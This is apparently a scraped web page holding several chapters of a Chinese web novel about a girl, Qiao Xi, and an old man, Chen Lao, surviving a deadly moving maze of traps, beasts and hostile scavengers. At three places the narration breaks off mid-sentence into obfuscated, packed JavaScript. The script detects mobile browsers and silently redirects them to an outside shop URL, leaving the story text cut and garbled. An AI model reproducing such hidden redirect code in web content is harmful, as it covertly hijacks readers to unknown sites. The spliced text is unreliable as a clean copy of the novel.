通道里没有风,空气有些沉闷,带着淡淡的石粉味,光线依旧微弱,只能看清身前几米的路,她走得很慢,脚步放轻,每走几步就停下听一听动静,感官始终保持着敏锐,不敢有丝毫松懈。 走了约莫半天,前方的通道开始缓缓向下倾斜,路面变得有些湿滑,脚底能感觉到一丝凉意,空气里的沉闷感渐渐散去,多了一丝淡淡的潮气。 乔晞放慢脚步,脚下更加小心,湿滑的石板容易让人摔倒,一旦滑倒,若是遇到危险,根本来不及反应。她伸手扶着一侧的石墙,墙面湿漉漉的,沾着细小的水珠,指尖触上去,冰凉刺骨。 又往下走了十几米,通道尽头出现了一片开阔的空间,不再是狭窄的巷道,而是一个圆形的石室,石室直径约莫有十几米,地面是平整的石板,中央位置有一个半人高的石台,石台上空空如也,没有任何物品。 石室四周分布着四条通道,加上乔晞走来的这条,一共五条,每条通道入口都一模一样,没有任何标记,根本看不出哪条是生路,哪条是死路。 乔晞站在石室入口,没有贸然走进去,先在原地观察了片刻。 石室里很安静,没有任何声音,也没有气流流动的迹象,五条通道的入口都黑漆漆的,往里望去,深不见底,分辨不出任何差异。她知道,这种没有标记的岔路,往往是迷宫里最危险的地方,一步选错,就可能踏入死门,再也出不来。 她走进石室,走到中央的石台旁,伸手摸了摸石台的表面,石面冰凉,质地坚硬,没有刻字,也没有机关凸起。她绕着石台走了一圈,又低头看了看地面,地面干净整洁,没有血迹,也没有杂物,显然很少有人走到这里,或是走到这里的人,都没能活着离开。 乔晞趴在石台边,耳朵贴在石面上,试图听一听五条通道里的动静。 可无论她怎么听,五条通道里都没有丝毫声音,安静得诡异,连墙体转动的震动都感受不到,像是五条完全静止的死巷。她站起身,闭上眼,回忆着乔妈教她的奇门遁甲之术,八门排布,生门属阳,死门属阴,阳气盛则气流顺,阴气重则气流滞,可这五条通道,连气流都没有,根本无法用常规的方法判断。 乔晞在石室里站了许久,脑海里一遍遍梳理着之前迷宫的变阵规律,从进入移动迷宫开始,每一次变阵,每一次生门死门的切换,都在她脑海里闪过。 之前的通道,无论怎么变,都会有细微的气流差异,或是震动频率不同,可这里,一切都是静止的,像是被独立出来的空间,完全脱离了外面的迷宫阵式。 就在她思索之际,其中一条通道里,突然传来了轻微的脚步声,脚步声很轻,很慢,显然对方也在小心翼翼地前行,不敢发出太大的动静。乔晞立刻起身,躲到石台后方,屏住呼吸,紧紧握着石斧,盯着脚步声传来的通道入口。 没过多久,一个身影从通道里走了出来,是个中年男人,穿着一身破旧的灰色短打,头发花白,脸上布满皱纹,身上带着不少伤口,有的已经结痂,有的还在渗血,手里握着一根断裂的木棍,木棍顶端被削尖,算是他的武器。男人看起来很疲惫,脚步有些虚浮,显然在迷宫里奔波了很久,体力消耗极大。 男人走进石室,看到五条一模一样的通道,脸上露出了迷茫的神色,他站在石室中央,四处张望,嘴里低声念叨着:“怎么又是岔路,到底哪条才是对的……”他的声音沙哑,带着绝望,显然已经在迷宫里迷失了很久,快要撑不下去了。 乔晞躲在石台后,没有出声,也没有现身,她不知道这个男人是善是恶,在这迷宫里,任何人都不能轻易相信,之前短刀男和钉耙男的求饶与背刺,还历历在目,她不会再轻易对人放下戒心。 男人在石室里转了几圈,尝试着靠近其中一条通道,可刚走到入口,又停下脚步,退了回来,显然是害怕踏入死路。他靠在石墙上,慢慢滑坐下来,从怀里掏出一小块干硬的饼,慢慢啃着,饼硬得硌牙,他嚼得很费力,每一口都要嚼很久才咽下去,吃完后,又拿出一个破旧的水壶,轻轻抿了一口水,动作小心翼翼,显然水源也所剩无几。 乔晞看着他的样子,心里没有太多波澜,这样的人,在迷宫里随处可见,为了活命,拼尽一切,却终究逃不过绝境。她依旧躲在石台后,打算等男人离开,或是找到出路后,再做打算,可男人坐了片刻,突然朝着石台的方向看来,眼神落在了乔晞藏身的位置。 “谁在那里?出来吧,我看到你了。”男人的声音依旧沙哑,没有恶意,也没有杀意,只是带着疲惫。 乔晞知道自己藏不住了,从石台后走了出来,握着石斧,与男人保持着一段距离,眼神平静地看着他,没有说话,也没有放松警惕。 男人看到乔晞,脸上露出了惊讶的神色,显然没料到藏在这里的,是一个年纪这么小的孩子。他上下打量了乔晞一番,看到她胳膊上包扎的兽皮,还有手里的石斧,眼神里的惊讶渐渐散去,多了一丝了然:“你也是从上面的通道过来的?一个人?” 乔晞点了点头,依旧没有说话,她在观察男人的神情,男人的眼神很浑浊,带着疲惫和绝望,没有之前短刀男那样的阴狠,也没有钉耙男那样的贪婪,看起来只是一个普通的逃难者,被逼到了绝境。 “我叫陈老,之前住在奴隶聚居地,迷宫开启后,就被赶进来了。”男人缓缓开口,主动介绍自己,语气很平和,“我在这迷宫里转了三天了,死了很多人,身边的人一个个都没了,就剩我一个,走到这里,再也走不动了。” 乔晞看着他,沉默了片刻,终于开口,声音带着孩童的稚嫩,却很沉稳:“这五条通道,没有任何标记,分不清生路死路。” 陈老叹了口气,摇了摇头:“我知道,我刚才看了很久,一点头绪都没有,这迷宫太邪门了,根本不是人能走出去的。”他顿了顿,看向乔晞,“你年纪这么小,怎么一个人在这里?你的家人呢?” 提到家人,乔晞的眼神暗了暗,没有回答,只是转头看向五条通道,她不想提起乔妈,提起哥哥,那些事情,是她心里的秘密,也是她活下去的执念。 陈老见她不愿说,也没有追问,只是缓缓站起身,拄着手里的尖木棍:“小姑娘,既然在这里遇上了,也算有缘,我们一起找路吧,多个人,也多个照应,总比一个人瞎闯强。”他没有像短刀男那样假意求饶,也没有威逼利诱,只是很平淡地提出合作,语气里带着一丝真诚。 乔晞看着他,心里思索着,陈老看起来没有恶意,而且体力消耗极大,对她构不成太大威胁,五条通道毫无头绪,两个人一起观察,或许能找到细微的差异,总比一个人在这里耗着强。她犹豫了片刻,点了点头:“可以,但各走各的,遇到危险,各自保命。” 陈老笑了笑,点了点头:“好,都听你的,你年纪小,却比很多大人都沉稳,能活到现在,肯定有你的本事。” 两人达成默契,开始分头观察五条通道。乔晞走到左侧第一条通道前,弯腰凑近入口,仔细闻着里面的气味,通道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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这条通道和之前的不一样,路面不再湿滑,而是干燥的石板,宽度也刚好能容两人并排行走,通道里依旧安静,没有任何动静,走了约莫几十米,前方出现了一道石门,石门紧闭,没有把手,也没有开关,堵死了整条通道。 乔晞走到石门前,停下脚步,伸手摸了摸石门,石门厚重,和石墙连为一体,看起来根本无法推开。她围着石门转了一圈,仔细检查着石门和石墙的衔接处,还有石门的表面,终于在石门左侧的石墙上,发现了一个小小的凹槽,凹槽呈圆形,直径约莫有拳头大小,深度不深,像是用来放置什么东西的。 “这里有个凹槽。”乔晞开口喊了一声,陈老立刻走了过来,看向凹槽。 陈老蹲下身,仔细看了看凹槽,又摸了摸:“这应该是开启石门的机关,需要对应的东西放进去,才能打开石门。”他站起身,四处看了看,“可这周围,什么都没有,去哪里找对应的东西?” 乔晞也在思索,她回到石室,又仔细检查了一遍中央的石台,之前她只觉得石台普通,现在想来,这石台放在石室中央,肯定不是没有用处的。她围着石台反复查看,终于在石台的底部,发现了一个小小的暗格,暗格很隐蔽,不仔细看根本发现不了,她用石斧的尖端轻轻撬动暗格,暗格缓缓打开,里面放着一块圆形的石牌,石牌大小刚好和石门上的凹槽吻合,石牌表面刻着简单的纹路,正是奇门八卦的图案。 乔晞拿起石牌,石牌冰凉,质地厚重,她握紧石牌,回到石门前,将石牌对准凹槽,轻轻放了进去。石牌刚好嵌入凹槽,严丝合缝,紧接着,石门传来一阵沉闷的齿轮转动声,缓缓向两侧打开,露出了后面的通道。 石门打开后,通道里传来了淡淡的风,气流顺畅,显然这是正确的路,乔晞和陈老对视一眼,都松了口气,总算选对了路,没有踏入死门。 两人走进石门后的通道,这条通道比之前的要明亮一些,石墙缝隙里透进的光线更多,路面也更加宽敞,走了没多久,通道开始向上延伸,慢慢回到了之前的高度。周遭的动静渐渐多了起来,能听到远处传来墙体转动的声音,还有隐约的人声,显然离其他参赛者更近了。 陈老的神情变得紧张起来,握紧了手里的尖木棍:“有人,附近还有其他人,我们要小心,别被发现了。” 乔晞点了点头,示意陈老放慢脚步,两人贴着墙根,慢慢往前走,尽量不发出任何声音。越往前走,人声越清晰,还夹杂着争吵和打斗的声音,显然前方有不少人,而且发生了冲突。 14. 角斗场 乔晞和陈老走到通道拐角处,停下脚步,乔晞悄悄探出头,朝着前方望去。前方是一片更大的空地,空地上站着五个人,三男两女,看起来都是一起的,手里都拿着武器,围着一个倒在地上的人,地上的人浑身是血,已经没了气息,显然是被这五人杀死的,五个人正在争抢地上的物资,有干粮,还有一个完整的水壶,争吵得面红耳赤,互不相让。 “这水壶是我先发现的,该归我!”一个身材微胖的男人喊道,伸手去抢水壶。 “凭什么归你?刚才打架我出的力最多,水壶该给我!”另一个瘦矮的女人不甘示弱,死死抱着水壶。 剩下的三个人也在争抢干粮,互不相让,原本看似团结的一伙人,因为一点物资,瞬间起了内讧,谁都不肯吃亏,眼里只有物资和活命的机会。 乔晞和陈老躲在拐角后,看着眼前的一幕,陈老低声说道:“这些人,都是为了物资,什么事都做得出来,我们别招惹他们,绕路走。” 乔晞点了点头,正打算转身,寻找其他的路,可就在这时,那个微胖的男人突然转头,看向了乔晞藏身的拐角,显然是察觉到了动静。 “谁在那里?出来!”微胖男人大喊一声,手里握着一把砍刀,朝着拐角走来,其他四个人也停止了争抢,纷纷看向拐角,握紧了手里的武器,神情警惕。 乔晞和陈老知道躲不住了,从拐角后走了出来,站在原地,没有靠近。 那五人看到乔晞和陈老,一个穿着红衣的女人嗤笑一声:“我还以为是谁,原来是一个老头和一个小丫头,真是晦气,怎么哪里都有闲人。” 微胖男人上下打量了两人一番,看到陈老手里的尖木棍,还有乔晞腰间的短刀,眼神落在了乔晞的鹿肠衣包袱上,眼里露出贪婪的神色:“这小丫头包袱里肯定有物资,搜出来!老头也一起搜,别放过任何东西!” 说完,微胖男人就带着另外一个男人,朝着乔晞和陈老走来,脸上带着凶相,显然是打算抢夺他们的物资。陈老立刻挡在乔晞身前,握紧尖木棍,神情紧张:“我们没有多少物资,你们别过来,我们绕路走就是。” “绕路走?进了这迷宫,哪有这么容易走掉,留下物资,再饶你们一命!”微胖男人恶狠狠地说道,脚步没有停下,很快就走到了两人面前。 乔晞拉了拉陈老的衣角,示意他往后退,自己往前站了一步,握着石斧,眼神平静地看着眼前的两人,没有害怕,也没有退缩。她知道,对方人多,硬拼肯定打不过,可她也不会任由别人抢夺自己的物资,这些物资是她活命的根本,绝不能交出去。 “把包袱交出来,不然别怪我们不客气!”微胖男人举起砍刀,对着乔晞威胁道。 乔晞没有说话,只是握紧了石斧,感官全开,留意着对方的动作。微胖男人见乔晞不肯听话,顿时来了火气,举起砍刀,就朝着乔晞砍来,他身边的男人也跟着动手,手里的短刀刺向陈老。 陈老慌忙用尖木棍抵挡,可他体力不支,根本不是对方的对手,尖木棍被短刀砍断,陈老被一脚踹倒在地,胸口挨了一脚,疼得他脸色发白,半天爬不起来。 乔晞看到陈老被打倒,眼神微微一动,侧身避开微胖男人的砍刀,同时手里的石斧朝着男人的手腕挥去。微胖男人没想到乔晞反应这么快,慌忙收回手,石斧擦着他的手腕划过,吓了他一跳。 “这小丫头还有点力气,一起上,别跟她废话!”微胖男人大喊一声,和身边的男人一起围攻乔晞。 乔晞凭借着灵活的身手,不断躲避着两人的攻击,她年纪小,身子灵活,对方的攻击很难碰到她,可对方力气大,武器也更锋利,她只能被动躲避,一时之间无法反击。另外三个人站在一旁,看着热闹,没有上前帮忙,也没有离开,显然是打算等两人解决掉乔晞和陈老,再分物资。 缠斗了片刻,乔晞渐渐有些体力不支,胳膊上的伤口因为剧烈动作,开始隐隐作痛,动作也慢了几分。微胖男人抓住机会,一脚踹在乔晞的胸口,乔晞被踹倒在地,石斧也掉在了一旁,微胖男人立刻上前,用砍刀抵住她的脖颈,脸上露出得意的笑。 “小丫头,还敢反抗,真是自不量力。”微胖男人说着,伸手就去抢乔晞腰间的鹿肠衣包袱。 就在他的手碰到包袱的瞬间,乔晞突然动了,她趁着男人不备,猛地抬手,抓住男人的手腕,用力一拧,微胖男人吃痛,砍刀瞬间脱手,乔晞趁机捡起地上的砍刀,握在手里,快速站起身,后退几步,与两人拉开距离。 这一系列动作快得惊人,微胖男人和身边的男人都愣了一下,没想到乔晞被制住后还能反击。微胖男人捂着自己的手腕,脸色变得难看:“好你个小丫头,敢阴我,今天非杀了你不可!” 说完,两人再次朝着乔晞冲来,这一次,出手更加狠辣,没有丝毫留手。乔晞握着砍刀,虽然力气不如对方,可她身手灵活,总能找到对方的破绽,避开攻击的同时,时不时发起反击,一时之间,两人也奈何不了她。 倒在地上的陈老,慢慢爬起身,看着乔晞被围攻,咬了咬牙,捡起地上断裂的尖木棍,朝着其中一个男人的后背砸去。男人被砸了一下,动作顿了顿,乔晞抓住机会,砍刀挥出,砍在男人的胳膊上,男人惨叫一声,短刀掉落在地,失去了战斗力。 少了一个人,微胖男人顿时落了下风,他看着受伤的同伴,又看了看乔晞和陈老,知道自己占不到便宜,眼神阴鸷,却也不敢再贸然进攻。另外三个人见状,知道事情不妙,互相对视一眼,悄悄拿起地上的物资,打算趁机溜走,他们本来就不是真心结伴,只是为了物资,如今遇到硬茬,自然不想再掺和。 “想走?把物资留下!”微胖男人看到三人要跑,大喊一声,可那三人根本不理他,加快脚步,朝着一条通道跑去,很快就没了踪影。 微胖男人气得咬牙切齿,却也无可奈何,他看着乔晞,又看了看受伤的同伴,知道再打下去,自己也讨不到好,说不定还会把命丢在这里,只能狠狠瞪了乔晞一眼:“算你们厉害,我们走!” 说完,扶着受伤的同伴,也快步离开了,很快就消失在通道里。 空地瞬间安静下来,只剩下乔晞和陈老,还有地上的血迹。乔晞松了口气,手里的砍刀掉落在地,她走到陈老身边,看着他苍白的脸色,问道:“你没事吧?” 陈老摇了摇头,喘着气:“没事,就是挨了一脚,缓一缓就好,多亏了你,不然我们俩今天都栽在这里了。” 乔晞没有说话,捡起自己的石斧,拍了拍上面的尘土,又检查了一下自己的包袱,物资没有丢失,只是胳膊上的伤口又裂开了,兽皮上渗出血迹。陈老看着她的伤口,从自己怀里拿出一块干净的布:“我这里有布,重新包扎一下吧,伤口裂开容易感染。” 乔晞接过布,点了点头,接过布,慢慢解开胳膊上的兽皮,重新擦拭伤口,用布包扎好。两人在空地上休息了片刻,恢复了一些体力,陈老看着乔晞,语气里满是感慨:“小姑娘,你真的很厉害,年纪这么小,却这么勇敢,换做别的孩子,早就吓哭了。” 乔晞没有回应,只是看向空地四周的通道,刚才的打斗耽误了不少时间,她不想在这里久留, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17368111|198945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迷宫里随时都可能出现其他人,或是发生变阵,必须尽快找到下一条生路。 “我们该走了。”乔晞站起身,对着陈老说道。 陈老也站起身,点了点头:“好,听你的,你说走哪条,我们就走哪条。” 两人没有选择刚才那五人离开的通道,而是选了一条相对安静、气流顺畅的通道,继续往前走。这条通道走了没多久,就开始变得曲折,石墙时不时会有小幅转动,乔晞凭借着敏锐的感官,总能提前察觉到,带着陈老避开危险。 一路上,两人没有再遇到其他人,偶尔会看到地上的血迹和遗物,都是之前死去的参赛者留下的,看着让人心里发沉。陈老话不多,大多时候都是沉默地跟在乔晞身后,偶尔会提醒乔晞注意脚下,或是留意周遭的动静,两人配合得还算默契。 走了约莫一个小时,前方的通道突然变得明亮起来,石墙缝隙里透进大量的光线,通道尽头,能看到一片开阔的区域,还有淡淡的阳光透进来,显然是快要走出这一段迷宫,接近下一个区域了。 乔晞和陈老都加快了脚步,朝着光亮处走去,越往前走,光线越亮,空气也变得清新起来,不再有迷宫里的沉闷和血腥气。很快,两人走出了通道,来到了一片露天的平台,平台很大,边缘围着石栏,下方是深不见底的峡谷,平台中央,有一道巨大的石门,石门上刻着复杂的纹路,正是通往迷宫下一层的入口。 平台上没有其他人,显得很安静,阳光洒在身上,暖洋洋的,让人暂时忘记了迷宫里的血腥和绝望。陈老走到石栏边,看着下方的峡谷,长长舒了口气:“终于走到这里了,没想到我还能活着走出那段巷道。” 乔晞没有放松,走到巨大的石门前,仔细检查着石门,石门上的纹路依旧是奇门八卦,开启机关应该在石门附近。她围着石门转了一圈,在石门右侧,找到了一个和之前类似的凹槽,只是这个凹槽更大,形状也不一样,是方形的。 “机关在这里,需要对应的东西。”乔晞开口说道。 陈老走了过来,看着凹槽,皱了皱眉:“我们身上没有对应的东西,该去哪里找?” 乔晞看向平台四周,平台上除了石栏和石门,还有几个石墩,分布在平台四角。她走到其中一个石墩旁,仔细检查,石墩表面光滑,没有任何标记,她伸手按了按石墩顶部,石墩突然向下陷了一截,紧接着,平台中央的地面缓缓打开,露出一个暗格,暗格里放着一块方形的石牌,刚好和石门上的凹槽吻合。 乔晞拿起石牌,走到石门前,将石牌嵌入凹槽,石门立刻传来齿轮转动的声音,缓缓向上升起,露出了后面的通道,通道里光线明亮,气流顺畅,显然是安全的生路。 石门打开后,陈老看着乔晞,眼神里满是感激:“小姑娘,真的谢谢你,如果不是你,我根本走不到这里,早就死在迷宫里了。” 乔晞摇了摇头:“一起走的,互相照应。”她顿了顿,看着陈老,“接下来的路,会更危险,你要是想留在这里,也可以。” 陈老笑了笑,摇了摇头:“不留在这里,这里早晚也会被迷宫吞噬,我跟你一起走,就算死,也死在赶路的路上,总比在这里等死强。” 乔晞点了点头,不再多说,率先走进石门后的通道,陈老紧随其后。通道里很宽敞,光线充足,路面平整,没有丝毫危险,显然是迷宫特意留出的生路,通往更深处的区域。 两人沿着通道往前走,脚步都很平稳,经过之前的厮杀和奔波,他们都明白,在这移动迷宫里,唯有互相照应,凭借着本事和谨慎,才能一步步往前走。 15. 角斗场 石门后的通道走了约莫两刻钟,光线渐渐从明亮转成昏黄,路面不再平整,开始出现细碎的裂纹,两侧石墙也恢复了迷宫惯有的青灰色,风里重新裹上淡淡的腥气,那是星兽与血迹混合的味道,提醒着两人,安稳的路段已经走完,下一层的危险近在眼前。 乔晞放慢脚步,抬手示意陈老停下,她侧耳贴向石墙,能听到墙体内部齿轮转动的频率变快,不是变阵,而是有活物在附近移动,脚步沉重,体型绝不小。陈老也绷紧了神经,攥紧手里半截重新削尖的木棍,身体微微弓起,他年纪大,反应不如年轻人,只能靠乔晞的警示避险。 又往前走了十几步,通道豁然开阔,变成一处长方形的厅室,厅室地面散落着断裂的武器、残破的衣物,还有几具尚未完全腐烂的尸体,尸体上的伤口都不是人为造成的,皮肉外翻,齿痕清晰,一看就是星兽所为。厅室两侧各有一条岔路,正前方则是一堵实心石墙,墙上嵌着一块泛着蓝光的金属板,板上刻着密密麻麻的纹路,像是某种能量锁。 而厅室中央,趴着一头通体灰褐的星兽,身形像熊,却长着三根尖利的独角,前爪粗壮,爪尖泛着黑亮的光,此刻正低头啃食地上的尸体,听到动静,猛地抬起头,一双暗红色的眼睛死死盯着乔晞和陈老,喉咙里发出低沉的嘶吼,嘴角挂着血丝,凶戾之气扑面而来。 这是独角岩兽,皮糙肉厚,力量极大,擅长冲撞,寻常武器很难破开它的皮毛,而且性情暴躁,一旦被盯上,不死不休。 乔晞往后轻轻拉了陈老一把,让他退到自己身后,自己则握紧石斧,慢慢往后退,试图绕开独角岩兽,选择两侧的岔路离开,她不想和这头星兽硬拼,一来耗费体力,二来打斗声会引来其他参赛者,得不偿失。 可独角岩兽已经发现了他们,丢下嘴里的尸体,四肢撑地,缓缓站起身,体型几乎占了厅室三分之一的空间,它一步步逼近,地面都跟着微微震动,丝毫没有给两人绕路的机会。陈老脸色发白,声音压得极低:“这畜生太凶了,我们打不过,赶紧退回去!” 乔晞摇头,身后的通道狭窄,一旦被独角岩兽堵在通道里,连躲闪的余地都没有,只能任其宰割,眼下只能在厅室里周旋,找机会脱身。她盯着独角岩兽的动作,感官全开,捕捉着它每一次呼吸、每一步移动的节奏,独角岩兽看似笨重,实则速度不慢,逼近到一定距离后,猛地低下头,三根独角对准两人,发起冲撞。 “往两边散!”乔晞低喊一声,身形快速往左侧躲闪,陈老也慌忙往右侧扑开,堪堪避开独角岩兽的冲撞,岩兽一头撞在后方的石墙上,石墙瞬间裂开几道细纹,碎石簌簌往下掉,力道大得惊人。 乔晞趁岩兽撞墙后短暂的滞涩,握着石斧快步冲上前,瞄准它腹部柔软的部位劈去,那里是星兽为数不多的弱点。可岩兽反应极快,尾巴猛地一扫,乔晞连忙后退,尾巴擦着她的肩头划过,带起一阵风,力道险些将她扫倒。 一人一兽周旋了片刻,乔晞始终找不到下手的机会,反而被岩兽逼得连连后退,体力消耗极快,胳膊上的伤口又开始隐隐作痛。陈老在一旁看着,急得团团转,却不敢贸然上前,他的武器根本伤不到岩兽,上去只会添乱。 就在这时,岩兽再次发起冲撞,乔晞躲闪时,脚下不慎踩到地上的碎骨,身形踉跄了一下,岩兽见状,嘶吼着冲得更快,眼看就要撞上乔晞,陈老情急之下,抓起地上一块拳头大的石头,狠狠砸向岩兽的独角,石头砸在独角上,发出一声闷响,岩兽的动作顿了一瞬。 就是这一瞬的空隙,乔晞稳住身形,纵身跃起,握着石斧,用尽全身力气,劈向岩兽的眼睛,这里是最脆弱的要害。石斧狠狠落下,精准劈中岩兽的右眼,岩兽发出一声凄厉的惨叫,鲜血瞬间喷涌而出,疼得它疯狂乱撞,厅室里的石墩、杂物被撞得七零八落。 乔晞落地后,立刻拉着陈老,趁着岩兽发狂失控的间隙,快步冲向左侧的岔路,不敢有丝毫停留,直到跑进岔路数十米,听不到岩兽的惨叫声,两人才停下脚步,靠在石墙上大口喘气。 “刚才太险了,差点就被撞上了。”陈老抹了把额头的汗,心有余悸,“多亏了你,不然我们俩都得栽在那畜生手里。” 乔晞没说话,只是低头看了看自己的手,石斧上沾着岩兽的血,黏腻腻的,她用衣角擦了擦,又检查了一遍伤口,幸好只是旧伤隐痛,没有新增伤口。 休息了片刻,两人继续沿着岔路往前走,这条岔路曲折蜿蜒,时不时会出现分岔,乔晞依旧靠着感官判断气流与震动,避开死路,选择生路,陈老全程跟着她,没有丝毫异议,经过刚才的事,他对乔晞的信任又多了几分。 前方通道传来人声,不是打斗争吵,而是交谈的声音,听起来有三四个人,乔晞立刻示意陈老噤声,两人贴着墙根,慢慢往前挪动,悄悄探看前方的情况。 前方是一处开阔的平台,平台上站着四个人,两男两女,穿着统一的深色短衣,看起来像是结伴已久的队伍,配合默契,其中一个寸头男正蹲在地上,检查着一块石砖,另外三人则站在四周放风,手里都握着铁质武器,比之前遇到的参赛者装备精良不少,显然是提前准备过,不是普通的奴隶或流民。 “这层的机关是连环石砖,踩错一块,四周的箭雨就会射下来,之前那伙人就是踩错了,全成了刺猬。”寸头男站起身,拍了拍手上的灰,语气沉稳,“我已经标记了安全的砖块,跟着我走,别踩错。” 另外三人点头应下,显然都以寸头男为首,看得出来,寸头男懂机关,心思缜密,是这支队伍的核心。乔晞和陈老躲在拐角后,对视一眼,他们也需要通过这片石砖机关区,若是硬闯,大概率会触发机关,可若是跟着这四人走,又难免发生冲突,对方人多装备好,他们占不到便宜。 就在两人犹豫之际,寸头男突然转头,看向乔晞藏身的拐角,眼神锐利:“躲了这么久,出来吧,附近就我们几个人,没必要藏着。” 乔晞知道藏不住了,索性拉着陈老走了出去,站在距离四人几米远的地方,没有靠近。那四人看到乔晞和陈老,脸上露出惊讶的神色,显然没想到躲着的是一老一小。 “我还以为是对手,原来是个老头和小丫头。”其中一个卷发女嗤笑一声,语气带着轻视,“你们也想过机关?就凭你们,怕是连第一步都踩不对。” 寸头男摆了摆手,示意卷发女闭嘴,他上下打量了乔晞一番,目光落在她手里的石斧和腰间的短刀上,又看了看她胳膊上的包扎,眼神里没有轻视,反而多了几分审视:“你们是一路结伴走到这里的?这一层的独角岩兽和小机关不少,能活到这里,不算没用。” 陈老连忙开口:“我们就是想安全通过机关,没有别的心思,等你们过去,我们再跟着走,绝不打扰你们。” “跟着走?”寸头男旁边的高个男冷笑一声,“这机关路就一条,我们四个人走刚好,多两个人,万一你们踩错,连累我们一起死,谁负责?要么现在离开,选别的路,要么就留下来,别想跟着我们。” 乔晞抬头看向寸头男,平静开口:“我们不会踩错,我能看出安全砖块的标记,不会连累你们。”她刚才已经看清了寸头男在石砖上做的微小标记,虽然隐蔽,但她感官敏锐,一眼就能分辨。 寸头男有些意外,挑了挑眉:“你能看清?我做的标记很小,一般人很难发现。” “能。”乔晞点头,没有多余的话。 寸头男思索片刻,点了点头:“行,那你们跟在我们后面,保持距离,要是踩错一步,我们不会管你们,直接往前走。”他也是多一份心思,多两个人,万一遇到危险,还能多两个照应,而且乔晞看着沉稳,不像会拖后腿的人。 卷发女和高个男还想反对,被寸头男一眼制止,只能不甘地闭上嘴。六人排成一队,寸头男走在最前,乔晞和陈老走在最后,一步步踩着标记好的安全石砖往前走。 机关区的石砖颜色各异,没有标记的砖块下,都藏着机关,稍有不慎就会触发,乔晞紧紧盯着脚下,每一步都踩得精准,陈老也格外小心,跟在乔晞身侧,丝毫不敢马虎。 走到机关区中央时,意外突然发生,卷发女脚下一滑,险些踩错砖块,她慌忙稳住身形,却不小心碰了一下旁边的高个男,高个男重心不稳,一脚踩在了没有标记的砖块上。 “不好!”寸头男脸色大变,大喊一声,“快蹲下!” 话音刚落,机关区四周的石墙里,瞬间射出密密麻麻的箭矢,箭矢带着破空声,朝着众人射来。 寸头男和另外两人立刻蹲下,躲在石砖的缝隙里,乔晞也反应极快,拉着陈老蹲下,用身体护住陈老,箭矢从他们头顶飞过,射在后方的石墙上,发出密集的声响。 箭矢持续了片刻才停下,机关区地面上插满了箭矢,看着格外吓人。卷发女吓得脸色惨白,浑身发抖:“我不是故意的,我刚才脚滑了……” 高个男也脸色难看,没好气地说:“走路都走不稳,差点害死我们!” 寸头男站起身,检查了一下众人,没人受伤,才松了口气,他看向乔晞,见她一直护着陈老,眼神里多了几分认可:“小丫头反应挺快,刚才要是慢一点,就被箭矢射中了。” 乔晞没说话,扶起陈老,检查他有没有受伤,确认陈老没事后,才放下心来。寸头男不再耽搁,重新确认安全砖块,带着众人快速通过剩下的机关区,抵达对面的通道,总算脱离了危险。 刚通过机关区,寸头男就停下脚步,看向乔晞:“我们要往右侧走,去下一个机关点,你们要是走不同的路,就在这里分开吧。”他看得出来,乔晞和陈老只是想活命,没有恶意,也没必要一直同行。 陈老看向乔晞,等着她做决定,乔晞看向左侧的通道,气流顺畅,震动平缓,是生路的迹象,她对着寸头男点了点头:“我们走左边,多谢刚才带路。” “举手之劳,各自保重。”寸头男说完,就带着自己的三人队伍,往右侧通道走去,很快就没了踪影。 乔晞和陈老则踏上左侧的通道,继续往前走,这条通道相对安静,没有星兽,也没有参赛者,只有墙体偶尔的轻微转动,两人走得很平稳,陈老话渐渐多了起来,开始跟乔晞说起自己的事。 陈老原本是蓝星地下城的工匠,专门做机关修缮,联邦抓他进来,就是想让他破解迷宫的机关,他不愿意助纣为虐,就躲在迷宫里,靠着对机关的了解,勉强活到现在。他说自己老伴走得早,没有孩子,原本以为会死在迷宫里,没想到遇到了乔晞。 乔晞安静听着,偶尔点头,没有多说自己的事,陈老也识趣,不再多问,只是时不时提醒乔晞注意脚下的碎石,或是前方的小陷阱。两人一路相伴,少了独自前行的孤寂,也多了几分安全感。 通道尽头出现了一处圆形大厅,大厅中央有一个喷泉,只是喷泉早已干涸,只剩下光秃秃的石质喷头,大厅四周,分布着八扇石门,每扇门上都刻着不同的纹路,看起来像是八门阵的延伸,比之前遇到的岔路更加复杂。 而大厅里,已经有两个人在,正是之前在空地上争抢物资、偷偷溜走的微胖男和红衣女,两人此刻狼狈不堪,身上带着伤,显然是在迷宫里遇到了危险,看到乔晞和陈老,两人眼神一变,立刻露出警惕的神色,同时又带着一丝贪婪。 “是你们两个!”微胖男咬牙切齿,之前在空地上,他没能抢到乔晞的物资,还被打伤,一直怀恨在心,“真是冤家路窄,没想到在这里遇到你们,这次看你们往哪跑!” 红衣女也握紧手里的短刀,眼神阴狠:“刚才要不是你们,我们也不会落得这般田地,今天正好报仇,把你们的物资交出来,再废了你们,解我心头之恨!” 陈老脸色一沉,挡在乔晞身前:“你们别太过分,之前是你们先动手抢物资,我们只是自保,现在还想找麻烦?” “找麻烦又怎么样?”微胖男冷笑,“这迷宫里,弱肉强食,你们一老一小,就是最弱的,活该被抢!”说完,就和红衣女一起,朝着乔晞和陈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17368112|198945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); 